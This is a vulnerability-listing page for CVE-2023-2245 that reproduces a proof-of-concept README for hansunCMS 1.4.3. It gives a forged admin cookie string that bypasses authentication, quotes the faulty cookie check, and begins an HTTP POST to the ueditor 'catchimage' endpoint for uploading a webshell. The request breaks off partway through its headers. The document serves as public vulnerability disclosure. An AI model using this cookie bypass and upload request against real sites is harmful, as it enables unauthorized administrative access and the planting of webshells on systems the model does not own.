Headline

CVE-2023-2245: hansuncmswebshell/README.md at main · MorStardust/hansuncmswebshell

A vulnerability was found in hansunCMS 1.4.3. It has been declared as critical. This vulnerability affects unknown code of the file /ueditor/net/controller.ashx?action=catchimage. The manipulation leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-227230 is the identifier assigned to this vulnerability.

2 years ago

CVE

Open in Source

#vulnerability #web #windows #auth #firefox #asp.net

hansuncmswebshell

hansuncms Authentication Bypass and File Upload

hansuncms
Authentication Bypass cookies add AdminUser=AdminId=3B17A20D0B04694C&AdminUser=A5D8190690DE7EC5&AdminPwd=28AF506D68AA3AB1A8F5136675B903480F3C4A24DA67438014A80335E37AD6534880AD891A5A15A1&AdminName=A5D8190690DE7EC5&Language=30;ASP.NET_SessionId=hlz4zjbvx0dze5haljxdxuuk

webshell upload more like CNVD-2017-20077

hansuncms have net 1.4.3 ueditor and Authentication Bypass

some code

if (context.Request.Cookies[“AdminUser”] != null || context.Request.Cookies[“AdminUser”][“SysUser”] != “”)

cookies have AdminUser not null can use ueditor upload webshell

poc

POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1

Host: xxxxxxxxxx

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate